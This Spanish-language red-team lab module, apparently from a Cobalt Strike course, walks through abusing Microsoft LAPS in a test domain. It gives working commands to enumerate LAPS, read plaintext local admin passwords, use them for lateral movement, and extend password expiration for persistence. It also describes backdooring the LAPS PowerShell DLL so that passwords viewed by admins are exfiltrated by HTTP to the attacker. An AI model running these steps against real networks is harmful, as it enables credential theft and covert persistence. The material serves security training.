Local Administrator Password Solution
Local Administrator Password Solution
Las organizaciones a menudo tienen un proceso de creación para máquinas físicas y virtuales dentro de su entorno. Es común que todo se construya a partir de la misma "gold image" para garantizar la consistencia y el cumplimiento. Sin embargo, estos procesos pueden hacer que todas las máquinas tengan la misma contraseña en cuentas como la de administrador local. Si una máquina, y por lo tanto el hash de la contraseña del administrador local, se ve comprometida, un atacante podría moverse lateralmente a todas las máquinas en el dominio usando el mismo conjunto de credenciales.
LAPS es una solución de Microsoft para gestionar las credenciales de una cuenta de administrador local en cada máquina, ya sea el RID 500 predeterminado o una cuenta personalizada. Garantiza que la contraseña de cada cuenta sea diferente, aleatoria y se cambie automáticamente según un horario definido. El permiso para solicitar y restablecer las credenciales puede ser delegado, lo que también es auditable. Aquí hay un resumen rápido de cómo funciona LAPS:
- El esquema de Active Directory se extiende y agrega dos nuevas propiedades a los objetos de computadora, llamadas ms-Mcs-AdmPwd y ms-Mcs-AdmPwdExpirationTime.
- Por defecto, la DACL en ms-Mcs-AdmPwd solo otorga acceso de lectura a los Domain Admins. Cada objeto de computadora tiene permiso para actualizar estas propiedades en sí mismo.
- Los derechos para leer AdmPwd pueden delegarse a otros principales (usuarios, grupos, etc.), lo cual generalmente se hace a nivel de OU.
- Se instala una nueva plantilla de GPO, que se usa para implementar la configuración de LAPS en las máquinas (se pueden aplicar diferentes políticas a diferentes OUs).
- El cliente de LAPS también se instala en cada máquina (comúnmente distribuido mediante GPO o una solución de gestión de software de terceros).
- Cuando una máquina ejecuta un gpupdate, verificará la propiedad AdmPwdExpirationTime en su propio objeto de computadora en AD. Si el tiempo ha expirado, generará una nueva contraseña (basada en la política de LAPS) y la configurará en la propiedad ms-Mcs-AdmPwd.
Existen algunos métodos para buscar la presencia de LAPS. Si se aplica a una máquina a la que tienes acceso, AdmPwd.dll estará en disco.
beacon> run hostname
wkstn-2
beacon> ls C:\Program Files\LAPS\CSE
Size Type Last Modified Name
---- ---- ------------- ----
179kb fil 05/05/2021 07:04:14 AdmPwd.dll
También podríamos buscar GPOs que tengan "LAPS" u otro término descriptivo en el nombre.
beacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
usncreated : 25966
displayname : LAPS
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{C6DC5466-785
A-11D2-84D0-00C04FB169F7}{942A8E4F-A261-11D1-A760-00C04FB9603F}][{D76B9641-3288-4F75-942D-08
7DE603E3EA}{D02B1F72-3407-48AE-BA88-E8213C6761F1}]
whenchanged : 8/16/2022 12:39:45 PM
objectclass : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly : True
usnchanged : 26068
dscorepropagationdata : {9/7/2022 1:05:58 PM, 1/1/1601 12:00:00 AM}
name : {2BE4337D-D231-4D23-A029-7B999885E659}
flags : 1
cn : {2BE4337D-D231-4D23-A029-7B999885E659}
gpcfilesyspath : \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}
distinguishedname : CN={2BE4337D-D231-4D23-A029-7B999885E659},CN=Policies,CN=System,DC=dev,DC=cyberbotic,DC=io
whencreated : 8/16/2022 12:20:45 PM
versionnumber : 17
instancetype : 4
objectguid : bbe274cc-6fcc-4e17-8804-bdc0ae952515
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=cyberbotic,DC=io
Así como objetos de computadora donde la propiedad ms-Mcs-AdmPwdExpirationTime no sea nula (cualquier Domain User puede leer esta propiedad).
beacon> powershell Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName
dnshostname
-----------
wkstn-2.dev.cyberbotic.io
web.dev.cyberbotic.io
sql-2.dev.cyberbotic.io
wkstn-1.dev.cyberbotic.io
Si encontramos el GPO correcto, podemos descargar la configuración de LAPS desde el gpcfilesyspath.
beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 12:39:19 Applications
dir 09/13/2022 15:38:58 Microsoft
dir 08/16/2022 12:23:37 Preferences
dir 08/16/2022 12:21:04 Scripts
575b fil 08/16/2022 12:22:23 comment.cmtx
920b fil 08/16/2022 12:22:23 Registry.pol
beacon> download \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol
[*] started download of \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol (920 bytes)
[*] download of Registry.pol is complete
El cmdlet Parse-PolFile del paquete GPRegistryPolicyParser se puede utilizar para convertir este archivo en un formato legible para humanos.
PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : PasswordComplexity
ValueType : REG_DWORD
ValueLength : 4
ValueData : 3
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : PasswordLength
ValueType : REG_DWORD
ValueLength : 4
ValueData : 14
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : PasswordAgeDays
ValueType : REG_DWORD
ValueLength : 4
ValueData : 30
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : AdminAccountName
ValueType : REG_SZ
ValueLength : 20
ValueData : LapsAdmin
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : AdmPwdEnabled
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft Services\AdmPwd
ValueName : PwdExpirationProtectionEnabled
ValueType : REG_DWORD
ValueLength : 4
ValueData : 0
Esto nos indica que:
- La complejidad de la contraseña incluye mayúsculas, minúsculas y números.
- La longitud de la contraseña es 14.
- Las contraseñas se cambian cada 30 días.
- El nombre de la cuenta administrada por LAPS es LapsAdmin.
- La protección contra expiración de contraseñas está deshabilitada.
Reading ms-Mcs-AdmPwd
Podemos descubrir qué principales tienen permiso para leer el atributo ms-Mcs-AdmPwd revisando su DACL en cada objeto de computadora.
beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier
ObjectDN SecurityIdentifier
-------- ------------------
CN=WKSTN-2,OU=Workstations,DC=dev,DC=cyberbotic,DC=io S-1-5-21-569305411-121244042-2357301523-1107
CN=WEB,OU=Web Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io S-1-5-21-569305411-121244042-2357301523-1108
CN=SQL-2,OU=SQL Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io S-1-5-21-569305411-121244042-2357301523-1108
CN=WKSTN-1,OU=Workstations,DC=dev,DC=cyberbotic,DC=io S-1-5-21-569305411-121244042-2357301523-1107
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DEV\Developers
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1108
DEV\Support Engineers
También existen herramientas dedicadas como LAPSToolkit. Find-LAPSDelegatedGroups consultará cada OU y encontrará grupos de dominio que tienen acceso de lectura delegado.
beacon> powershell-import C:\Tools\LAPSToolkit\LAPSToolkit.ps1
beacon> powershell Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Workstations,DC=dev,DC=cyberbotic,DC=io DEV\Developers
OU=Servers,DC=dev,DC=cyberbotic,DC=io DEV\Support Engineers
OU=Web Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io DEV\Support Engineers
OU=SQL Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io DEV\Support Engineers
Find-AdmPwdExtendedRights profundiza un poco más y consulta cada computadora individual para encontrar usuarios que tengan "All Extended Rights". Esto revelará cualquier usuario que pueda leer el atributo sin que se le haya delegado específicamente.
Para obtener la contraseña de una computadora, simplemente lee el atributo.
beacon> getuid
[*] You are DEV\bfarmer
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd
ms-mcs-admpwd
-------------
1N3FyjJR5L18za
El comando make_token es una forma fácil de aprovecharlo.
beacon> make_token .\LapsAdmin 1N3FyjJR5L18za
[+] Impersonated DEV\bfarmer
beacon> ls \\wkstn-1\c$
[*] Listing: \\wkstn-1\c$\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 08:17:30 $Recycle.Bin
dir 08/15/2022 22:22:31 $WinREAgent
dir 01/27/2022 18:18:49 Documents and Settings
dir 12/07/2019 09:14:52 PerfLogs
dir 08/22/2022 00:15:03 Program Files
dir 10/06/2021 13:57:25 Program Files (x86)
dir 09/14/2022 09:50:27 ProgramData
dir 08/17/2022 17:52:54 Recovery
dir 09/14/2022 09:35:54 System Volume Information
dir 08/16/2022 08:15:58 Users
dir 09/09/2022 10:38:50 Windows
8kb fil 09/14/2022 08:12:19 DumpStack.log.tmp
796mb fil 09/14/2022 08:12:19 hiberfil.sys
704mb fil 09/14/2022 08:12:19 pagefile.sys
16mb fil 09/14/2022 08:12:19 swapfile.sys
Password Expiration Protection
Una de las configuraciones de la política de LAPS se llama "Do not allow password expiration time longer than required by policy". En resumen, esta es la configuración PwdExpirationProtectionEnabled que leemos desde el archivo Registry.pol. Cuando está habilitada, esta política evita que un usuario o computadora configuren la fecha de expiración de una contraseña más allá de la edad especificada en la configuración PasswordAgeDays. También leemos desde Registry.pol que esto está configurado a 30 días. Por ejemplo, si una contraseña se establece el 1 de enero de 2022, su expiración será el 31 de enero de 2022. Si la protección contra expiración de contraseña está habilitada e intentamos modificar su fecha de expiración más allá del 31 de enero, se activará un restablecimiento automático de esa contraseña.
Si la configuración de la política se deja como "not configured" en el GPO, entonces la protección contra expiración de contraseña estará deshabilitada por defecto.
Dado que pudimos comprometer WKSTN-1 utilizando su contraseña de LAPS, podemos configurar su expiración en una fecha muy futura como forma de persistencia. La fecha de expiración es una marca de tiempo de 18 dígitos calculada como el número de intervalos de 100 nanosegundos que han transcurrido desde el 1 de enero de 1601 (no preguntes).
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
ms-mcs-admpwdexpirationtime ms-mcs-admpwd
--------------------------- -------------
133101494718702551 1N3FyjJR5L18za
Donde 133101494718702551 es el jueves, 13 de octubre de 2022 a las 15:44:31 GMT.
Info
https://www.epochconverter.com/ldap puede traducir entre estas marcas de tiempo y formatos legibles para humanos.
Si quisiéramos extender la expiración por 10 años, podemos sobrescribir este valor con 136257686710000000. Cada computadora tiene acceso delegado para escribir en este campo de contraseña, por lo que debemos elevar a SYSTEM en WKSTN-1.
beacon> run hostname
wkstn-1
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> powershell Set-DomainObject -Identity wkstn-1 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose
Setting 'ms-Mcs-AdmPwdExpirationTime' to '136257686710000000' for object 'WKSTN-1$'
OPSEC
La fecha de expiración seguirá siendo visible para los administradores y un restablecimiento manual cambiará la contraseña y restaurará la fecha de expiración.

LAPS Backdoors
Existen algunas técnicas que podemos aprovechar para crear backdoors en las herramientas administrativas de LAPS y obtener una copia de las contraseñas cuando sean vistas por un administrador. Este módulo demostrará esta idea utilizando el cmdlet de PowerShell de LAPS Get-AdmPwdPassword. Si está instalado en una máquina, los módulos de PowerShell de LAPS pueden encontrarse en C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS.
beacon> ls
[*] Listing: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 13:04:13 en-US
24kb fil 05/05/2021 12:04:14 AdmPwd.PS.dll
5kb fil 04/28/2021 18:56:38 AdmPwd.PS.format.ps1xml
4kb fil 04/28/2021 18:56:38 AdmPwd.PS.psd1
26kb fil 05/05/2021 12:04:14 AdmPwd.Utils.dll
Dado que PowerShell utiliza ampliamente el .NET Framework, los DLLs aquí están escritos en C#, lo que los hace relativamente triviales de descargar, modificar y volver a subir. Descarga AdmPwd.PS.dll y AdmPwd.Utils.dll, sincronízalos con tu máquina de ataque y abre AdmPwd.PS.dll con dnSpy. Usa el Assembly Explorer para profundizar en el DLL, espacios de nombres y clases hasta que encuentres el método GetPassword.
Este método llama a DirectoryUtils.GetPasswordInfo, el cual devuelve un objeto PasswordInfo. Puedes hacer clic en el nombre y dnSpy te llevará a la definición de la clase. Contiene propiedades para ComputerName, DistinguishedName, Password y ExpirationTimestamp. La contraseña es simplemente la contraseña en texto plano que se muestra al administrador.
Vamos a modificar el código para enviar las contraseñas en texto plano a nosotros a través de una solicitud HTTP GET.
OPSEC
Este es obviamente un método irresponsable para usar en el mundo real, porque la contraseña en texto plano se enviará sin cifrado por la red. Esto es solo un ejemplo.
Vuelve al método GetPassword, haz clic derecho en algún lugar de la ventana principal y selecciona Edit Method. Lo primero que necesitamos hacer es agregar una nueva referencia de ensamblado, utilizando el botón en la parte inferior de la ventana de edición.
Usa la caja de búsqueda para encontrar y agregar System.Net.
Este código simplemente instanciará un nuevo WebClient y llamará al método DownloadString, pasando el nombre de la computadora y la contraseña en el URI.
Una vez que las modificaciones estén en su lugar, haz clic en el botón Compile en la parte inferior derecha de la ventana de edición. Luego selecciona File > Save Module para escribir los cambios en disco. Sube el DLL de nuevo al objetivo para sobrescribir el archivo existente.
beacon> upload C:\Users\Attacker\Desktop\AdmPwd.PS.dll
Una desventaja de esta táctica es que romperá la firma digital del DLL, pero no impedirá que PowerShell lo utilice.
beacon> powershell Get-AuthenticodeSignature *.dll
Directory: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS
SignerCertificate Status Path
----------------- ------ ----
NotSigned AdmPwd.PS.dll
ABDCA79AF9DD48A0EA702AD45260B3C03093FB4B Valid AdmPwd.Utils.dll
Como nlamb en Workstation 1, obtén la contraseña de LAPS para una computadora.
PS C:\Users\nlamb> Get-AdmPwdPassword -ComputerName sql-2 | fl
ComputerName : SQL-2
DistinguishedName : CN=SQL-2,OU=SQL Servers,OU=Servers,DC=dev,DC=cyberbotic,DC=io
Password : VloWch1sc5Hl40
ExpirationTimestamp : 9/17/2022 12:46:28 PM
Deberías ver un hit correspondiente en tu weblog de CS.
09/14 11:49:32 visit (port 80) from: 10.10.122.254
Request: GET /
Response: 404 Not Found
null
= Form Data=
computer = SQL-2
pass = VloWch1sc5Hl40


